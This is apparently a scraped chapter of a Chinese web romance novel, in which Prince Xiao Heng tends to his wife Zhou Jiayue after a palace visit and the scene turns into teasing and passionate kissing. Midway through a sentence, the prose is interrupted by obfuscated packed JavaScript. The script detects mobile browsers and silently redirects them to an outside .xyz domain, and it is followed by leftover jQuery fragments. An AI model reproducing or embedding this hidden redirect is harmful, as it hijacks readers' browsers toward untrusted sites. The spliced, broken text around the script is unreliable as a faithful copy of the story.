3. 亲热

作品:《离宫后和靖王举案齐眉

    周嘉月不习惯他这样,想伸手推开,但他脸色异常,像是生气了,自己这几日循规蹈矩,应该没有得罪他。


    “王爷,我是不是做错了什么?”


    “嗯。”


    他脸上没有一点波动,周嘉月烦躁地挠头。


    “我都改。”


    萧蘅在腰间捏了一下,周嘉月禁不住就笑了出来。


    “哈哈哈哈……”


    “你进宫做什么?”


    “为皇后娘娘贺寿。”


    她低下了头。


    萧蘅停住脚步,凌厉的眼神似乎要闯进她的眼眶。


    “何须你来贺?她故意为难你?”


    周嘉月赶忙摇头,现在还不适合跟他求助。


    “没,是我不好,对了,听说你喜欢一幅字画,皇后说让我送你,你看看?”


    随行的丫鬟将字画展开,萧蘅并没有看一眼。


    “撕了。”


    周嘉月大为震惊。


    “不合适吧?”


    萧蘅一个眼神甩过去,丫鬟毫不犹豫就将那幅字给撕了。


    “我接你回家。”


    “嗯?家?”


    周嘉月有片刻的恍惚,那是她的家吗?她还能有家吗?


    疼痛再度袭来,周嘉月埋着头,眼泪控制不住地下落。


    萧蘅拦腰抱起。


    “就知道你到这儿没有好事。”


    周嘉月抿唇,今天确实不太好,但他也好不到哪里去。


    “你不是有公务要处理?不用管我,派人送我回去就行了,我现在什么也不想干,一个人静静地躺着就挺好了。”


    萧蘅飞速带她到马车上。


    “我帮你。”


    他轻手轻脚地撩开她的裤腿,抹上药膏,缓慢揉搓。


    周嘉月太疼了,闭着眼一口咬在他脸上,俊脸上不可避免地留下齿印和血痕。


    萧蘅跟没事人一样帮她按摩。


    “你再忍耐一下,马上就会好的。”


    她再睁眼就回到了自己的屋子,这会儿下来端来热水,周嘉月猜到他要做什么。


    “不,我自己来就行,免得被人说闲话。”


    他们之间本就不熟悉,他如此行为真是让人费解。


    她本就不大习惯陌生人亲近,虽说跟他已经是夫妻了,但自己还是不大能接受。


    萧蘅说道:


    “谁和你说闲话了?”


    要不是他面色如常,周嘉月会以为他会找人算账去。


    “没人说,只是我担心会有人这么说罢了,你刚才闯进宫带我走,怕是会被人诟病。”


    今日在宫里就让人很难受了。


    萧蘅轻抚她的脸庞,吻了下去。


    吻得很慢,但不缺霸道。


    周嘉月险些喘不过气,这不算他们之间的第一个吻,但之前的都仅限嘴皮对嘴皮。


    “谁让你亲了,离我远点。”


    她撇着嘴今日受了多少气,他也来气她。


    萧蘅没有再多说,而是将她的脚伸入盆中。


    一只手托着一只脚,另一只手将热水浇在脚上。


    不像洗脚,像浇花。


    “不用这么麻烦,我直接……”


    她要直接伸脚进去,但他力气很大,周嘉月没办法。


    她今天受了一肚子气,没法纾解,气急之下,用另一只脚深入盆中,洗脚水溅得他一身都是。


    发泄过后周嘉月才知自己错了。


    “我不是故意的,我帮你擦。”


    她目前树敌不少,可不能把他也得罪了,毕竟他是自己手里唯一的王牌了。


    周嘉月拿着手帕帮他擦拭,萧蘅轻握住她的手腕。


    “腿伸过来。”


    周嘉月脑子发麻,该不该伸?


    “我,不好受,能不能拒绝?”


    “不能。”


    她只好硬着头皮把自己的□□给他。


    萧蘅一只脚一只脚地帮她擦洗。


    时间耗费许久,周嘉月始终难以心安,她没有让人伺候的习惯,他的每一个动作都让她心痒痒的。


    肢体触碰上更是。


    俗话说,无事献殷勤,非奸即盗。但自从她睁眼看到他,这样的事情他每天都做,这些都可以交给旁人来做,他何必亲力亲为,周嘉月不明白目的是什么。


    这次她甚至因为别的人别的事情对他发火,他竟然也没点反应,这不正常。


    “王爷,我,你为何如此?”


    “我乐意。”


    周嘉月咬唇,话还是没说到正题上,她想知道他为什么这么做?


    总归不是暗恋她。


    他起身坐到她身边,将手擦干净,又靠近一步。


    “日后别进宫了,知道你难受。”


    手臂靠近她的腰肢。


    “他们下旨我怎么能拒绝。”


    她稍微挪动点位置,周嘉月还不太适应和别人太近。


    萧蘅一口咬住她的耳垂,周嘉月浑身都不自在,手掌抵着胸膛。


    “靖王,别,别这样。”


    脸庞摩擦起热,她小腹上一热,心脏也以不正常的速度运行。


    萧蘅的动作更加过分。


    “刚你咬我的时候可曾问过我?”


    “啊?”


    周嘉月发现他侧脸边上果然有咬痕,是她弄上去的,可她并不是故意的这怎么能相提并论。


    “对不起,你,要不然你咬回来,别咬耳朵,太敏感了,不行。”


    她双手紧紧护住自己的耳朵。


    萧蘅再度逼近,周嘉月靠在床角,身后被硌得有些疼。


    他像是会读心术似的,用被子垫在她身后。


    两人近在咫尺,身体无限靠近。


    萧蘅看样子是在考虑从哪儿下口,周嘉月看着他举世无双的俊脸,自己难免心猿意马。


    “你,要咬就咬,再这样下去会出事的?”


    “哦~”


    周嘉月被他一提就坐到了他身上,全身上下早就不疼了,但心口一直噗通噗通的。


    她有理由怀疑他在色诱。


    兴许是周嘉月见过的男色不多,这么轻易就被他蛊惑了。


    “你别戏弄我了,你都多大年纪了,做这种事情也不害臊。”


    说完她就捂嘴,萧蘅拿开她的手。


    “你嫌我老了?我该怎么向你证明呢?”


    这话成功勾起了周嘉月头脑离积攒的黄色废料。


    “别说了行不行,求求你了。”


    四肢紧紧抱在一起,希望可以隔开一点距离,但没坚持几秒就被他给掰开了。


    “别说什么?你告诉我,我便不说了。”


    “我……我怎么能说,你,是不是故意的?”


    她身子往哪边偏,他人就跟着偏,这太不好受了。


    萧蘅修长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630734|172542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的手指贴着她的鬓角,头靠近,周嘉月闭上眼睛,臆想的吻并没有落下,头上反而轻松了不少,一睁眼。


    原来是萧蘅帮她撤去头上繁琐的首饰,每一个动作都极其地撩人,惹得周嘉月时时刻刻红温。


    “你分明在欺负我,你和那些人没区别。”


    她动手打他,疼的是自己,眼泪也快飙出眼眶。


    萧蘅揉揉她的手。


    “我自己给你做肉垫子算欺负你?”


    “呃,不太算,但是,也不能隔得这么近吧。”


    他前后围剿,她没有地方可以逃避。


    周嘉月不然注意到自己的手,已经丑得不成样子了,时常浮肿,以前自己的手是很漂亮的,现在,除了这一张脸,身体上各有各的糟。


    “你在讽刺我?好丑的手。”


    “我的手,丑吗?”


    萧蘅迷惑地看着她,像是真的一样。


    周嘉月眼中泪光闪烁。


    “我的丑,你别摸了。”


    “我觉得正好,无论你变成什么样子。”


    萧蘅敲了一下她的脑袋。


    “还有,你别忘了你是我明媒正娶的妻子了?”


    “谁说夫妻就能这样的,我不管。”


    她一动萧蘅就自动向后倒,另外还带上了棉被,二人一被都平铺在床上。


    这下是周嘉月床咚他,她脑子一热又一热的,完全没反应过来。


    萧蘅说道:


    “你这可是放火又点灯,既要还要。”


    周嘉月斗不过他,前两天还沉稳的人,越来越过分了,他骨子里的“劣根性”本就如此。


    周嘉月情愿他对自己冷淡一点,两人相安无事就好,搞成这样让她太不能适应了。


    再这样下去,她会有不合适的错觉。


    周嘉月绝不能在同一个地方摔倒两次。


    “王爷。”


    “上次可是叫的哥哥?”


    周嘉月老脸一红,所谓的上次也就是成亲隔天,她喝多了酒,展露了一点现代的习性,她在现代也喜欢喝酒,酒友都是她的哥姐,她记得也叫姐了,然后那日出了好大的丑,他光记得叫哥事件了。


    “我不叫,你怪没脸没皮的。”


    好歹是一个王爷,怎么能无赖成这样,在老早以前,她亲哥都不叫哥的,哪能叫他。


    “夫人给我不就有了?”


    他身居下位,竟还用手指勾她的下巴,周嘉月看着他的唇,竟有些心猿意马。


    “你也故意招惹我,信不信我……”


    她举起手,萧蘅仰起头,四片唇瓣对上,单手抚摸后脑勺。


    周嘉月的拳头软了了下来,轻轻放下,撑着床跟他深吻。


    她毫无经验,舌伸进去横冲直撞的,她身子本弱,气息也不如人,没多久就败下阵来。


    “不行了夫君。”


    唇角还挂着银丝。


    萧蘅双手捧着她的脸,手指伸进发丝。


    “你不能自己爽了就不顾我了吧?”


    周嘉月小脸绯红,这哪跟哪?她哪爽了,又哪不顾他了?


    “又污蔑我,我……”


    周嘉月气急败坏地在唇角啄叫,有时很有力,当血丝融入涎液,效果加倍。


    她更加用力地吸吮,腥甜的味道充斥在口中。


    “唔唔唔……”


    情到忘我的地步,手撑太久了,眉头微皱。